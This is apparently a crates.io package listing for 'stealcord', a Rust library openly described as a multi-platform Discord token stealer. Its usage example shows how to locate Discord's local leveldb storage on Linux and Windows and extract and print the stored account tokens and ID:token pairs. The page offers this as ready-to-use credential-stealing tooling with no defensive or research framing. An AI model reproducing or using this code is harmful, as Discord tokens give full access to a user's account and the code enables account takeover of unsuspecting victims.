Crates.io | stealcord |
lib.rs | stealcord |
version | 0.1.0 |
source | src |
created_at | 2023-04-24 20:25:03.395039 |
updated_at | 2023-04-24 20:25:03.395039 |
description | Multi platform Discord token stealer library |
homepage | |
repository | https://github.com/Thoxy67/stealcord/ |
max_upload_size | |
id | 847870 |
size | 5,548 |
Multi platform Discord token stealer library written in Rust.
// Import necessary libraries
use simple_home_dir::*;
use stealcord::{get_token, get_tokens};
fn main() {
// Set path to Discord token storage
let path = home_dir().unwrap().join(if cfg!(target_os = "linux") {
// Linux
".config/discord/Local Storage/leveldb/"
} else {
// Windows
"\\AppData\\Roaming\\Discord\\Local Storage\\leveldb"
});
// Get only token
if let Ok(token) = get_token(path.clone()) {
// Print token
println!("{token}")
} else {
// Print error message
panic!("Error getting token")
}
// Get ID : Token
if let Ok(tokens) = get_tokens(path.clone()) {
// Print tokens
println!("{tokens}")
} else {
// Print error message
panic!("Error getting tokens")
}
}
This project is licensed under the MIT License - see the LICENSE file for details.